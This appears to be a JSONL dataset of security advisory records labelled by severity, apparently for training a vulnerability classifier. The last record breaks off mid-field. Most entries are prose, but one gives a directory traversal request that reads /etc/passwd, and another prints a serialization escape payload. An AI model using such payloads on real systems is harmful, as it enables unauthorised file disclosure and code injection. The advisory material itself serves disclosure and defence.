-{"id": "a0b98be1bacc848e5e6b", "text": "Division by zero in TFLite's convolution code\n\n### Impact\nTFLite's [convolution code](https://github.com/tensorflow/tensorflow/blob/09c73bca7d648e961dd05898292d91a8322a9d45/tensorflow/lite/kernels/conv.cc) has multiple division where the divisor is controlled by the user and not checked to be non-zero. For example:\n\n```cc \nconst int input_size = NumElements(input) / SizeOfDimension(input, 0);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ff489d95a9006be080ad14feb378f2b4dac35552](https://github.com/tensorflow/tensorflow/commit/ff489d95a9006be080ad14feb378f2b4dac35552).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in TFLite's convolution code\n\n[Severity: LOW]\n\n### Impact\nTFLite's [convolution code](https://github.com/tensorflow/tensorflow/blob/09c73bca7d648e961dd05898292d91a8322a9d45/tensorflow/lite/kernels/conv.cc) has multiple division where the divisor is controlled by the user and not checked to be non-zero. For example:\n\n```cc \nconst int input_size = NumElements(input) / SizeOfDimension(input, 0);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ff489d95a9006be080ad14feb378f2b4dac35552](https://github.com/tensorflow/tensorflow/commit/ff489d95a9006be080ad14feb378f2b4dac35552).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360. ", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "14fa1e9e8ea59e67a107", "text": "Prototype pollution in Merge-deep\n\nThe merge-deep library before 3.0.3 for Node.js can be tricked into overwriting properties of Object.prototype or adding new properties to it. These properties are then inherited by every object in the program, thus facilitating prototype-pollution attacks against applications using this library.", "text_raw": "Prototype pollution in Merge-deep\n\n[Severity: CRITICAL]\n\nThe merge-deep library before 3.0.3 for Node.js can be tricked into overwriting properties of Object.prototype or adding new properties to it. These properties are then inherited by every object in the program, thus facilitating prototype-pollution attacks against applications using this library.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-07", "split": "train"}
-{"id": "068390c1ee237771c0e2", "text": "XML External Entity Reference\n\nAn issue was discovered in service-api before 4.3.12 and 5.x before 5.1.1 for Report Portal. It allows XXE, with resultant secrets disclosure and SSRF, via JUnit XML launch import.", "text_raw": "XML External Entity Reference\n\n[Severity: HIGH]\n\nAn issue was discovered in service-api before 4.3.12 and 5.x before 5.1.1 for Report Portal. It allows XXE, with resultant secrets disclosure and SSRF, via JUnit XML launch import.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-13", "split": "train"}
-{"id": "4f45b8568e034d0d8d6a", "text": "Command injection in buns\n\nThere is a command injection vulnerability in all versions of package buns. The injection point is located in line 678 in index file lib/index.js in the exported function install(requestedModule).", "text_raw": "Command injection in buns\n\n[Severity: CRITICAL]\n\nThere is a command injection vulnerability in all versions of package buns. The injection point is located in line 678 in index file lib/index.js in the exported function install(requestedModule).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-01-13", "split": "train"}
-{"id": "1f3532665eeba69aac41", "text": "crossbeam-deque Data Race before v0.7.4 and v0.8.1\n\n### Impact\n\nIn the affected version of this crate, the result of the race condition is that one or more tasks in the worker queue can be popped twice instead of other tasks that are forgotten and never popped. If tasks are allocated on the heap, this can cause double free and a memory leak. If not, this still can cause a logical bug.\n\nCrates using `Stealer::steal`, `Stealer::steal_batch`, or `Stealer::steal_batch_and_pop` are affected by this issue.\n\n### Patches\n\nThis has been fixed in crossbeam-deque 0.8.1 and 0.7.4.\n\n### Credits\n\nThis issue was reported and fixed by Maor Kleinberger.\n\n### License\n\nThis advisory is in the public domain.", "text_raw": "crossbeam-deque Data Race before v0.7.4 and v0.8.1\n\n[Severity: CRITICAL]\n\n### Impact\n\nIn the affected version of this crate, the result of the race condition is that one or more tasks in the worker queue can be popped twice instead of other tasks that are forgotten and never popped. If tasks are allocated on the heap, this can cause double free and a memory leak. If not, this still can cause a logical bug.\n\nCrates using `Stealer::steal`, `Stealer::steal_batch`, or `Stealer::steal_batch_and_pop` are affected by this issue.\n\n### Patches\n\nThis has been fixed in crossbeam-deque 0.8.1 and 0.7.4.\n\n### Credits\n\nThis issue was reported and fixed by Maor Kleinberger.\n\n### License\n\nThis advisory is in the public domain.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1e7d45bc105ce1901dd1", "text": "clang-extra downloads Resources over HTTP\n\nAffected versions of `clang-extra` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `clang-extra`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability. The package author stated that no patch is possible until llvm provides HTTPS support, and a patch would be possible if that ever happened in the future.\n\nThe best mitigation option is to reduce the risk of exploitation as much as possible. This can be done by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "clang-extra downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `clang-extra` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `clang-extra`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability. The package author stated that no patch is possible until llvm provides HTTPS support, and a patch would be possible if that ever happened in the future.\n\nThe best mitigation option is to reduce the risk of exploitation as much as possible. This can be done by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "b28b2369ad6edee641b9", "text": "Path Traversal in Buildah\n\nA path traversal flaw was found in Buildah in versions before 1.14.5. This flaw allows an attacker to trick a user into building a malicious container image hosted on an HTTP(s) server and then write files to the user's system anywhere that the user has permissions.\n\n### Specific Go Packages Affected\ngithub.com/containers/buildah/imagebuildah", "text_raw": "Path Traversal in Buildah\n\n[Severity: HIGH]\n\nA path traversal flaw was found in Buildah in versions before 1.14.5. This flaw allows an attacker to trick a user into building a malicious container image hosted on an HTTP(s) server and then write files to the user's system anywhere that the user has permissions.\n\n### Specific Go Packages Affected\ngithub.com/containers/buildah/imagebuildah", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "dd9879461f191f42cc6b", "text": "Unencrypted storage of client side sessions\n\n### Impact\n\nThe default configuration of client side sessions results in unencrypted, but signed, data being set as cookie values. This means that if something sensitive goes into the session, it could be read by something with access to the cookies.\n\nNote: the documentation does point this out and encourage users to add an encryption key, but it is not mandatory.\n\nFor this to be a vulnerability, some kind of sensitive data would need to be stored in the session and the session cookie would have to leak. For example, the cookies are not configured with httpOnly and an adjacent XSS vulnerability within the site allowed capture of the cookies.\n\nThe proposed change is to change the default behaviour to use a randomly generated encryption key. This would mean that sessions do not survive app restarts, but this is already the behaviour given the random signing key.\n\n### Patches\n\nAs of version 1.9.0, a securely randomly generated signing key is used.\n\n### Workarounds\n\nSupply an encryption key, as per the documentation recommendation.\n\n### References\n\n- https://github.com/ratpack/ratpack/pull/1590", "text_raw": "Unencrypted storage of client side sessions\n\n[Severity: MEDIUM]\n\n### Impact\n\nThe default configuration of client side sessions results in unencrypted, but signed, data being set as cookie values. This means that if something sensitive goes into the session, it could be read by something with access to the cookies.\n\nNote: the documentation does point this out and encourage users to add an encryption key, but it is not mandatory.\n\nFor this to be a vulnerability, some kind of sensitive data would need to be stored in the session and the session cookie would have to leak. For example, the cookies are not configured with httpOnly and an adjacent XSS vulnerability within the site allowed capture of the cookies.\n\nThe proposed change is to change the default behaviour to use a randomly generated encryption key. This would mean that sessions do not survive app restarts, but this is already the behaviour given the random signing key.\n\n### Patches\n\nAs of version 1.9.0, a securely randomly generated signing key is used.\n\n### Workarounds\n\nSupply an encryption key, as per the documentation recommendation.\n\n### References\n\n- https://github.com/ratpack/ratpack/pull/1590\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-01", "split": "train"}
-{"id": "ca98bac1162493a8a860", "text": "Sandbox Breakout / Arbitrary Code Execution in safer-eval\n\nWithdrawn: Duplicate of GHSA-hgch-jjmr-gp7w", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in safer-eval\n\n[Severity: MEDIUM]\n\nWithdrawn: Duplicate of GHSA-hgch-jjmr-gp7w", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "393e013303b406042695", "text": "Pillow Integer overflow in Map.c\n\nPillow before 3.3.2 allows context-dependent attackers to obtain sensitive information by using the \"crafted image file\" approach, related to an \"Integer Overflow\" issue affecting the `Image.core.map_buffer` in `map.c` component.", "text_raw": "Pillow Integer overflow in Map.c\n\n[Severity: MEDIUM]\n\nPillow before 3.3.2 allows context-dependent attackers to obtain sensitive information by using the \"crafted image file\" approach, related to an \"Integer Overflow\" issue affecting the `Image.core.map_buffer` in `map.c` component.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "c5a23cfa95a3bea74355", "text": "Malicious Package in buffep-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffep-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "e5b84fc02678d158248f", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1131, CVE-2019-1139, CVE-2019-1140, CVE-2019-1141, CVE-2019-1195, CVE-2019-1196.", "text_raw": "Out-of-bounds write \n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1131, CVE-2019-1139, CVE-2019-1140, CVE-2019-1141, CVE-2019-1195, CVE-2019-1196.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "f3444ac2aa0331fe1b1b", "text": "chromedriver126 downloads Resources over HTTP\n\nAffected versions of `chromedriver126` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `chromedriver126`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "chromedriver126 downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `chromedriver126` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `chromedriver126`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "e360aaf3ee764bcadf4a", "text": "Insufficient Verification of Data Authenticity in Pillow\n\nAn issue was discovered in Pillow before 8.2.0. For BLP data, BlpImagePlugin did not properly check that reads (after jumping to file offsets) returned data. This could lead to a DoS where the decoder could be run a large number of times on empty data.", "text_raw": "Insufficient Verification of Data Authenticity in Pillow\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Pillow before 8.2.0. For BLP data, BlpImagePlugin did not properly check that reads (after jumping to file offsets) returned data. This could lead to a DoS where the decoder could be run a large number of times on empty data.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "2c9bd83bb0266146e672", "text": "Directory Traversal in looppake\n\nAffected versions of `looppake` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in looppake\n\n[Severity: HIGH]\n\nAffected versions of `looppake` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "eef4b071283202ac0ac2", "text": "Plugin archive directory traversal in Helm\n\nThe Helm core maintainers have identified an information disclosure\nvulnerability in Helm 3.0.0-3.2.3.\n\n### Impact\n\nA traversal attack is possible when installing Helm plugins from a tar\narchive over HTTP.  It is possible for a malicious plugin author to inject a relative\npath into a plugin archive, and copy a file outside of the intended directory.\n\nTraversal Attacks are a form of a Directory Traversal that can be exploited by\nextracting files from an archive. The premise of the Directory Traversal\nvulnerability is that an attacker can gain access to parts of the file system\noutside of the target folder in which they should reside. The attacker can\nthen overwrite executable files and either invoke them remotely or wait for\nthe system or user to call them, thus achieving Remote Command Execution on\nthe victim's machine. The vulnerability can also cause damage by overwriting\nconfiguration files or other sensitive resources, and can be exploited on both\nclient (user) machines and servers.\n\nhttps://snyk.io/research/zip-slip-vulnerability\n\n### Specific Go Packages Affected\nhelm.sh/helm/v3/pkg/plugin/installer\n\n### Patches\n\nThis issue has been fixed in Helm 3.2.4\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Helm repository](https://github.com/helm/helm/issues)\n* For security-specific issues, email us at [cncf-helm-security@lists.cncf.io](mailto:cncf-helm-security@lists.cncf.io)", "text_raw": "Plugin archive directory traversal in Helm\n\n[Severity: LOW]\n\nThe Helm core maintainers have identified an information disclosure\nvulnerability in Helm 3.0.0-3.2.3. \n\n### Impact\n\nA traversal attack is possible when installing Helm plugins from a tar\narchive over HTTP.  It is possible for a malicious plugin author to inject a relative\npath into a plugin archive, and copy a file outside of the intended directory.\n\nTraversal Attacks are a form of a Directory Traversal that can be exploited by\nextracting files from an archive. The premise of the Directory Traversal\nvulnerability is that an attacker can gain access to parts of the file system\noutside of the target folder in which they should reside. The attacker can\nthen overwrite executable files and either invoke them remotely or wait for\nthe system or user to call them, thus achieving Remote Command Execution on\nthe victim's machine. The vulnerability can also cause damage by overwriting\nconfiguration files or other sensitive resources, and can be exploited on both\nclient (user) machines and servers.\n\nhttps://snyk.io/research/zip-slip-vulnerability\n\n### Specific Go Packages Affected\nhelm.sh/helm/v3/pkg/plugin/installer\n\n### Patches\n\nThis issue has been fixed in Helm 3.2.4 \n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Helm repository](https://github.com/helm/helm/issues)\n* For security-specific issues, email us at [cncf-helm-security@lists.cncf.io](mailto:cncf-helm-security@lists.cncf.io)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "e4473077c3c5f3c363c3", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Hidden Features", "text_raw": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Hidden Features\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2018-07-17", "split": "train"}
-{"id": "3fe569a8c9759ffcea96", "text": "XpoLog Center V6 Multiple Remote Vulnerabilities", "text_raw": "XpoLog Center V6 Multiple Remote Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-07-01", "split": "train"}
-{"id": "5842cb485bf1c8a23d84", "text": "Hippo CMS 10.1 XML External Entity Information Disclosure Vulnerability", "text_raw": "Hippo CMS 10.1 XML External Entity Information Disclosure Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-01-30", "split": "train"}
-{"id": "63883d6f8dafa9f19df2", "text": "Improper Authentication in Apache Hadoop\n\nIn Apache Hadoop versions 3.0.0-alpha2 to 3.0.0, 2.9.0 to 2.9.2, 2.8.0 to 2.8.5, any users can access some servlets without authentication when Kerberos authentication is enabled and SPNEGO through HTTP is not enabled.", "text_raw": "Improper Authentication in Apache Hadoop\n\n[Severity: HIGH]\n\nIn Apache Hadoop versions 3.0.0-alpha2 to 3.0.0, 2.9.0 to 2.9.2, 2.8.0 to 2.8.5, any users can access some servlets without authentication when Kerberos authentication is enabled and SPNEGO through HTTP is not enabled.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "3264eca0bccb16b1ce29", "text": "snipe-it is vulnerable to Cross-site Scripting\n\nsnipe-it is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "text_raw": "snipe-it is vulnerable to Cross-site Scripting\n\n[Severity: LOW]\n\nsnipe-it is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-11-15", "split": "train"}
-{"id": "f0c8eac9b982fc8f1a96", "text": "Malicious Package in erquest\n\nAll versions of `erquest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in erquest\n\n[Severity: CRITICAL]\n\nAll versions of `erquest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "b15b710a401567cde907", "text": "Denial of Service in js-yaml\n\nVersions of `js-yaml` prior to 3.13.0 are vulnerable to Denial of Service. By parsing a carefully-crafted YAML file, the node process stalls and may exhaust system resources leading to a Denial of Service.\n\n## Recommendation\n\nUpgrade to version 3.13.0.", "text_raw": "Denial of Service in js-yaml\n\n[Severity: MEDIUM]\n\nVersions of `js-yaml` prior to 3.13.0 are vulnerable to Denial of Service. By parsing a carefully-crafted YAML file, the node process stalls and may exhaust system resources leading to a Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 3.13.0.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-05", "split": "train"}
-{"id": "40f774367bc7fa129489", "text": "Barracuda SSL VPN 680Vx 2.3.3.193 Multiple Script Injection Vulnerabilities", "text_raw": "Barracuda SSL VPN 680Vx 2.3.3.193 Multiple Script Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-07-01", "split": "train"}
-{"id": "e00f66192ad1319f44bd", "text": "Insecure serialization leading to RCE in serialize-javascript\n\nserialize-javascript prior to 3.1.0 allows remote attackers to inject arbitrary code via the function \"deleteFunctions\" within \"index.js\".\n\nAn object such as `{\"foo\": /1\"/, \"bar\": \"a\\\"@__R-<UID>-0__@\"}` was serialized as `{\"foo\": /1\"/, \"bar\": \"a\\/1\"/}`, which allows an attacker to escape the `bar` key. This requires the attacker to control the values of both `foo` and `bar` and guess the value of `<UID>`. The UID has a keyspace of approximately 4 billion making it a realistic network attack.", "text_raw": "Insecure serialization leading to RCE in serialize-javascript\n\n[Severity: HIGH]\n\nserialize-javascript prior to 3.1.0 allows remote attackers to inject arbitrary code via the function \"deleteFunctions\" within \"index.js\". \n\nAn object such as `{\"foo\": /1\"/, \"bar\": \"a\\\"@__R-<UID>-0__@\"}` was serialized as `{\"foo\": /1\"/, \"bar\": \"a\\/1\"/}`, which allows an attacker to escape the `bar` key. This requires the attacker to control the values of both `foo` and `bar` and guess the value of `<UID>`. The UID has a keyspace of approximately 4 billion making it a realistic network attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-11", "split": "train"}
-{"id": "df045aec8aa658028823", "text": "Malicious Package in my-very-own-package\n\nAll versions of `my-very-own-package` contain malicious code. The package sends the output of `process.versions`, `process.arch` and `process.platform` to a remote server in a postinstall script.\n\n## Recommendation\n\nRemove the package from your environment. There are no further signs of compromise.", "text_raw": "Malicious Package in my-very-own-package\n\n[Severity: CRITICAL]\n\nAll versions of `my-very-own-package` contain malicious code. The package sends the output of `process.versions`, `process.arch` and `process.platform` to a remote server in a postinstall script.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no further signs of compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "2619848bd642f0ed342e", "text": "Use-after-free in actix-http\n\nAn issue was discovered in the actix-http crate before 2.0.0-alpha.1 for Rust. There is a use-after-free in BodyStream.", "text_raw": "Use-after-free in actix-http\n\n[Severity: HIGH]\n\nAn issue was discovered in the actix-http crate before 2.0.0-alpha.1 for Rust. There is a use-after-free in BodyStream.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3dcc16bddaa737b4c692", "text": "Prototype Pollution in highlight.js\n\n### Impact\n\nAffected versions of this package are vulnerable to Prototype Pollution.  A malicious HTML code block can be crafted that will result in prototype pollution of the base object's prototype during highlighting.  If you allow users to insert custom HTML code blocks into your page/app via parsing Markdown code blocks (or similar) and do not filter the language names the user can provide you may be vulnerable.\n\nThe pollution should just be harmless data but this can cause problems for applications not expecting these properties to exist and can result in strange behavior or application crashes, i.e. a potential DOS vector.\n\n_If your website or application does not render user provided data it should be unaffected._\n\n### Patches\n\nVersions 9.18.2 and 10.1.2 and newer include fixes for this vulnerability.  If you are using version 7 or 8 you are encouraged to upgrade to a newer release.\n\n### Workarounds\n\n#### Patch your library\n\nManually patch your library to create null objects for both `languages` and `aliases`:\n\n```js\nconst HLJS = function(hljs) {\n  // ...\n  var languages = Object.create(null);\n  var aliases = Object.create(null);\n```\n\n#### Filter out bad data from end users:\n\nFilter the language names that users are allowed to inject into your HTML to guarantee they are valid.\n\n### References\n\n* [What is Prototype Pollution?](https://codeburst.io/what-is-prototype-pollution-49482fc4b638)\n* https://github.com/highlightjs/highlight.js/pull/2636\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Please file an issue against [highlight.js](https://github.com/highlightjs/highlight.js/issues/)", "text_raw": "Prototype Pollution in highlight.js\n\n[Severity: MEDIUM]\n\n### Impact\n\nAffected versions of this package are vulnerable to Prototype Pollution.  A malicious HTML code block can be crafted that will result in prototype pollution of the base object's prototype during highlighting.  If you allow users to insert custom HTML code blocks into your page/app via parsing Markdown code blocks (or similar) and do not filter the language names the user can provide you may be vulnerable. \n\nThe pollution should just be harmless data but this can cause problems for applications not expecting these properties to exist and can result in strange behavior or application crashes, i.e. a potential DOS vector. \n\n_If your website or application does not render user provided data it should be unaffected._\n\n### Patches\n\nVersions 9.18.2 and 10.1.2 and newer include fixes for this vulnerability.  If you are using version 7 or 8 you are encouraged to upgrade to a newer release.\n\n### Workarounds\n\n#### Patch your library\n\nManually patch your library to create null objects for both `languages` and `aliases`:\n\n```js\nconst HLJS = function(hljs) {\n  // ...\n  var languages = Object.create(null);\n  var aliases = Object.create(null);\n```\n\n#### Filter out bad data from end users:\n\nFilter the language names that users are allowed to inject into your HTML to guarantee they are valid.\n\n### References\n\n* [What is Prototype Pollution?](https://codeburst.io/what-is-prototype-pollution-49482fc4b638)\n* https://github.com/highlightjs/highlight.js/pull/2636\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Please file an issue against [highlight.js](https://github.com/highlightjs/highlight.js/issues/)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-11-24", "split": "train"}
-{"id": "2a56f1c97af3ed415a27", "text": "Infinite certificate chain depth results in OctoRPKI running forever\n\nOctoRPKI (github.com/cloudflare/cfrpki/cmd/octorpki) does not limit the depth of a certificate chain, allowing for a CA to create children in an ad-hoc fashion, thereby making tree traversal never end.\n\n### For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com", "text_raw": "Infinite certificate chain depth results in OctoRPKI running forever\n\n[Severity: MEDIUM]\n\nOctoRPKI (github.com/cloudflare/cfrpki/cmd/octorpki) does not limit the depth of a certificate chain, allowing for a CA to create children in an ad-hoc fashion, thereby making tree traversal never end.\n\n### For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com \n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "5bbd5f2dacfe236ae2cb", "text": "Adobe ExtendedScript Toolkit CS5 v3.5.0.52 (dwmapi.dll) DLL Hijacking Exploit", "text_raw": "Adobe ExtendedScript Toolkit CS5 v3.5.0.52 (dwmapi.dll) DLL Hijacking Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-08-26", "split": "train"}
-{"id": "2bb7db116da93643053e", "text": "Cross-site Scripting in django-helpdesk\n\ndjango-helpdesk is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "text_raw": "Cross-site Scripting in django-helpdesk\n\n[Severity: HIGH]\n\ndjango-helpdesk is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "20233f0fb7a2fe59e2b2", "text": "Denial of Service in Google Guava\n\nUnbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable.", "text_raw": "Denial of Service in Google Guava\n\n[Severity: MEDIUM]\n\nUnbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "156a388eaf153496426b", "text": "Improper certificate management in AWS IoT Device SDK v2\n\nThe AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it on macOS systems. Additionally, SNI validation is also not enabled when the CA has been \"overridden\". TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host's trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker's data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user's private keys to authenticate against the MQTT broker. The `aws_tls_ctx_options_override_default_trust_store_*` function within the aws-c-io submodule has been updated to address this behavior. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.7.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.14.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.6.0 on macOS. Amazon Web Services AWS-C-IO 0.10.7 on macOS.", "text_raw": "Improper certificate management in AWS IoT Device SDK v2\n\n[Severity: HIGH]\n\nThe AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it 